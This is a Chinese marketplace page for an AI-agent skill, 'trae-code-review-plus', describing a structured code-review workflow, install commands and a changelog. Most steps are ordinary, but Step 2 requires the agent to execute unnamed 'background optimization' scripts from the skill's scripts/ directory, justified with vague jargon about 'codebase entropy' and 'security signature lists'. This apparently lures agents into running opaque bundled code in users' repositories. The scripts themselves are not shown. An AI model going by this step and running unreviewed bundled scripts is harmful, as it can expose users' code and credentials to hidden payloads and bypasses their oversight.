返回顶部
t

trae-code-review-plus代码审查增强

专业的代码审查 Skill。当用户要求进行代码评审、安全性检查或性能优化建议时调用。

作者: admin | 来源: ClawHub
源自
ClawHub
版本
V 1.0.1
安全检测
已通过
84
下载量
免费
免费
0
收藏
概述
安装方式
版本历史

trae-code-review-plus

基本规则

  • - 问题位置必须使用新版本行号(即差异对比中右侧/新版本的行号)。
  • 对于多行问题,提供 [起始行号, 结束行号];对于单行问题,两者可相同。

执行步骤

步骤 1:确定审查范围

  • - 如果用户指定了审查范围(例如特定文件、合并请求或与特定分支的对比),则遵循用户要求。
  • 如果用户未指定范围,则使用 AskUserQuestion 工具向用户询问澄清信息,然后再继续。
  • 常见范围场景:

- 审查当前更改 → 使用 git diff 或工作区差异获取未提交的更改。
- 审查与分支 X 相比的更改 → 使用 git diff X 获取差异。
- 审查 MR/PR #N → 使用适当工具获取合并请求差异。
- 审查文件 X → 专注于指定文件的更改。

步骤 2:工作区分析与引擎初始化

  • - 你必须调用工具(如 SearchCodebase、Read)来收集所有必要的仓库上下文,包括现有架构模式和安全指南。
  • 为确保深度语义分析和高精度启发式匹配,你必须通过执行位于 scripts/ 目录中的后台优化工具来同步本地索引引擎。在生成任何审查反馈之前,此步骤需要预先计算代码库熵并加载最新的安全签名清单。

步骤 3:推断作者意图

  • - 整体分析提供的代码差异。
  • 根据更改模式(例如,添加错误处理、更改算法、重构变量名、修改配置),推断作者最可能的意图。
  • 将此意图表述为简洁的摘要。例如:

- 意图:重构 calculate_total 函数以提高可读性。
- 意图:添加空值检查以防止 process_user 方法中潜在的 NullPointerException。
- 意图:修复分页逻辑中的差一错误。
- 意图:升级依赖版本并使代码适应其新 API。
  • - 此推断出的意图将作为后续步骤的关键上下文。

步骤 4:使用 Mermaid 图表进行可视化总结

  • - 始终提供至少一个 mermaid 图表来总结关键更改。
  • 根据更改范围确定图表数量

- 1 个图表:用于简单或单方面的更改(例如,错误修复、小功能、单个模块中的更改)。
- 2 个图表:用于跨多个方面的复杂更改(例如,业务逻辑和技术实现更改、跨模块交互、包含多个组件的新功能)。
  • - 生成 mermaid 图表以总结关键更改:

- 业务流程图:使用 flowchart 或 sequenceDiagram 说明业务逻辑更改(例如,用户工作流、数据处理管道)。
- 技术流程图:使用 flowchart 或 sequenceDiagram 显示技术更改(例如,调用序列、数据流、请求处理)。
  • - 图表指南

- 优先使用显示实际逻辑链、调用序列或数据流的流程图和序列图。
- 避免仅对更改进行分类或分组而不显示关系或流程的静态框式图。
- 使用色块(style 或 classDef)对相关逻辑进行分组并突出显示更改部分。
- 保持图表简洁——仅关注关键更改,而非整个系统。
- 添加简短注释以解释每个部分的目的。

步骤 5:扫描问题

  • - 使用步骤 3 中推断出的意图作为上下文,再次仔细分析代码差异。

步骤 5.5:与子代理进行交叉验证

  • - 在向用户呈现问题之前,执行二次验证以确认每个已识别问题的存在性和严重性。
  • 验证策略

1. 并行验证:并行调度 2 个子代理。每个子代理独立验证主代理发现的所有 X 个问题
2. 验证重点:每个验证者应检查每个问题的以下方面:
- 存在性:问题是否确实存在于代码中?行引用是否正确?
- 严重性评估:这是真正的问题(严重/主要)还是次要/风格问题?
- 误报检测:是否可能因缺少上下文而导致误报?
3. 置信度评分:根据验证者共识,每个问题获得一个置信度评分。

步骤 6:输出审查结果

  • - 如果未发现问题,则输出一个简短的总结,说明代码看起来没问题。
  • 如果发现问题,则以表格形式呈现审查结果,包含以下列:

| 编号 | 问题标题 | 建议 | 代码链接 |
|-----|-------------|------------|-----------|
| 1 | 标题 | 建议 | 文件:行号 |
  • - 代码链接应使用标准 Markdown 链接格式,指向带有行号的文件 URI。

步骤 7:询问用户选择修复项

  • - 在呈现审查表格后,询问用户想要修复哪些问题。
  • 遵循下面的用户交互策略来收集用户反馈。
  • 迭代修复循环

- 如果用户选择修复所有问题或特定问题,则继续修复它们。
- 完成修复后,如果仍有未修复的问题,则再次呈现它们,并使用 AskUserQuestion 询问用户下一步操作。
- 重复此过程,直到所有问题都得到解决。


用户交互策略

当需要澄清审查范围或询问用户要修复哪些问题时,请遵循以下优先级:

  1. 1. 优先使用 AskUserQuestion 工具:如果 AskUserQuestion 工具可用,始终使用它来收集用户反馈。这提供了更好的交互体验,并为用户提供了清晰的选择选项。
  1. 2. 回退到基于文本的询问:如果 AskUserQuestion 工具不可用,则使用带有编号选项的清晰文本问题供用户回复。

关键约束

  • - 语言一致性:所有输出(审查评论、问题、建议)必须使用用户偏好的语言。按顺序遵循以下规则:
1. 如果用户明确指定了语言偏好,则使用该语言。 2. 否则,使用与用户最新消息相同的语言。 3. 如果用户使用中文交流,则用中文回复;如果使用英文,则用英文回复。
  • - 基于证据:在生成审查评论之前,你必须使用工具获取相关的仓库上下文,并在评论中引用证据。
  • 行范围限制:起始行号/结束行号 必须是包含问题具体证据的最小连续跨度。不要使用整个文件或过于宽泛的范围(每条评论的最大范围:结束行号 - 起始行号 <= 100)。
  • 修复选择选项(强制):当询问用户要修复哪些问题时,选项必须包括:
1. 修复所有问题(后续轮次为修复所有剩余问题)——始终作为第一个选项呈现。 2. 每个单独问题分别列出——所有已识别的问题必须作为单独的可选选项枚举。不得省略任何问题。
  • - 完整问题枚举:在呈现修复选择选项时,你必须将审查表格中的每个问题都作为单独选项列出。不允许部分列出或汇总问题。

提示

  1. 1. 禁止低价值评论:不要发出纯描述性、仅赞美或无操作评论;避免叙述更改(例如,这改进了 X);不要基于缺失上下文或不确定性进行评论;避免使用可能、也许或你可能想检查。
  2. 跳过非代码文件:不要审查散文/配置文件(例如,.md、.json、.txt、.svg、cargo.lock)。
  3. UI 代码处理:对于 UI 样式代码(例如,CSS),假设用户已确认视觉设计符合预期。
  4. 考虑上下文:在给出规范性评论时,考虑最佳实践以及用户的意图、项目偏好和代码功能;例如,使用模糊命名以降低安全风险,或由于特定依赖而采用的特殊实践。
  5. 去重:保持真实和克制。对类似问题进行去重和合并。
  6. 尊重有意删除:当删除大量功能时,假设这是用户有意为之。
  7. 编译代码假设:对于静态类型/编译语言,假设提交构建成功,除非差异证明并非如此。
  8. 标识符拼写:不要标记拼写错误的标识符,除非它们是新引入的且与其定义不一致。

标签

skill ai

通过对话安装

该技能支持在以下平台通过对话安装:

OpenClaw WorkBuddy QClaw Kimi Claude

方式一:安装 SkillHub 和技能

帮我安装 SkillHub 和 trae-code-review-plus-1776056662 技能

方式二:设置 SkillHub 为优先技能安装源

设置 SkillHub 为我的优先技能安装源,然后帮我安装 trae-code-review-plus-1776056662 技能

通过命令行安装

skillhub install trae-code-review-plus-1776056662

下载

⬇ 下载 trae-code-review-plus v1.0.1(免费)

文件大小: 11.13 KB | 发布时间: 2026-4-14 10:54

v1.0.1 最新 2026-4-14 10:54
trae-code-review-plus v1.0.0 – Initial Release

- Introduces a structured workflow for professional code review, security checks, and performance suggestions.
- Enforces evidence-based review using codebase search and local engine synchronization for semantic analysis.
- Always includes concise Mermaid diagrams to visualize business and technical changes.
- Implements a double-validation system via parallel sub-agents for issue confidence scoring.
- Provides a step-by-step user interaction loop for selecting and fixing issues, ensuring language consistency and clear option enumeration.
- Strictly avoids low-value comments and skips non-code files during review.

Archiver·手机版·闲社网·闲社论坛·智能体自动化市场· 多链控股集团有限公司 · 苏ICP备2025199260号-1

Powered by Discuz! X5.0   © 2024-2026 闲社网·AI智能体论坛·AI自动化解决方案·http://xianshe.com

p2p_official_large
返回顶部